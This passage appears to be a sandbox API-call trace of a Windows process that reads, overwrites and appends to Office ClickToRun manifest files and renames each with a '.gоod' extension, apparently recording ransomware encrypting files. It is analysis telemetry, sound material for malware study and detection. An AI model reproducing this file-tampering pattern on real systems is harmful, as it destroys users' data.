lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7b [0094.013] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x80 [0094.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0094.013] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3436499a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x910)) returned 1 [0094.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0094.013] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.gоod")) returned 1 [0094.014] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0094.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0094.014] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x350a868 | out: lpFileInformation=0x350a868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd362c40f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2b8a)) returned 1 [0094.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0094.015] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0094.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.015] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.015] GetFileType (hFile=0x7b4) returned 0x1 [0094.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.015] GetFileType (hFile=0x7b4) returned 0x1 [0094.016] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0094.016] ReadFile (in: hFile=0x7b4, lpBuffer=0x350ad90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x350ad90*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0094.018] CloseHandle (hObject=0x7b4) returned 1 [0094.018] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0094.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.018] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.018] GetFileType (hFile=0x7b4) returned 0x1 [0094.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.018] GetFileType (hFile=0x7b4) returned 0x1 [0094.018] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x2b8a [0094.018] WriteFile (in: hFile=0x7b4, lpBuffer=0x350c0b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x350c0b0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0094.020] CloseHandle (hObject=0x7b4) returned 1 [0094.020] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0094.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.020] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.020] GetFileType (hFile=0x7b4) returned 0x1 [0094.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.020] GetFileType (hFile=0x7b4) returned 0x1 [0094.020] ReadFile (in: hFile=0x7b4, lpBuffer=0x350e3f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x350e3f8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0094.488] CloseHandle (hObject=0x7b4) returned 1 [0094.488] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0094.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.489] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.489] GetFileType (hFile=0x7b4) returned 0x1 [0094.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.489] GetFileType (hFile=0x7b4) returned 0x1 [0094.489] WriteFile (in: hFile=0x7b4, lpBuffer=0x350d0c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x350d0c8*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0094.489] CloseHandle (hObject=0x7b4) returned 1 [0094.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0094.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x75 [0094.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0094.489] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3487582d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b9a)) returned 1 [0094.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0094.489] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.gоod")) returned 1 [0094.491] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0094.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0094.491] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x36b1f90 | out: lpFileInformation=0x36b1f90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd276bb03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194)) returned 1 [0094.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0094.491] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0094.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.491] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.492] GetFileType (hFile=0x7b4) returned 0x1 [0094.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.492] GetFileType (hFile=0x7b4) returned 0x1 [0094.492] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0094.492] ReadFile (in: hFile=0x7b4, lpBuffer=0x36b2528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x36b2528*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0094.494] CloseHandle (hObject=0x7b4) returned 1 [0094.494] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0094.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.494] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.494] GetFileType (hFile=0x7b4) returned 0x1 [0094.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.494] GetFileType (hFile=0x7b4) returned 0x1 [0094.494] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x17194 [0094.494] WriteFile (in: hFile=0x7b4, lpBuffer=0x36b38b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x36b38b0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0094.495] CloseHandle (hObject=0x7b4) returned 1 [0094.495] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0094.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.495] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.496] GetFileType (hFile=0x7b4) returned 0x1 [0094.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.496] GetFileType (hFile=0x7b4) returned 0x1 [0094.496] ReadFile (in: hFile=0x7b4, lpBuffer=0x36b5c60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x36b5c60*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0094.825] CloseHandle (hObject=0x7b4) returned 1 [0094.826] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0094.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0094.826] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0094.826] GetFileType (hFile=0x7b4) returned 0x1 [0094.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0094.826] GetFileType (hFile=0x7b4) returned 0x1 [0094.826] WriteFile (in: hFile=0x7b4, lpBuffer=0x3455e80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3455e80*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0095.100] CloseHandle (hObject=0x7b4) returned 1 [0095.143] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7f [0095.143] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x84 [0095.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0095.144] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed25796c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed25796c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x34e6b4d7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x171a4)) returned 1 [0095.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0095.144] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.gоod")) returned 1 [0095.144] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0095.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0095.144] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x35f9b98 | out: lpFileInformation=0x35f9b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984)) returned 1 [0095.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0095.146] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x72 [0095.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0095.146] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.146] GetFileType (hFile=0x7c0) returned 0x1 [0095.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0095.146] GetFileType (hFile=0x7c0) returned 0x1 [0095.146] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0095.146] ReadFile (in: hFile=0x7c0, lpBuffer=0x35fa0c0, 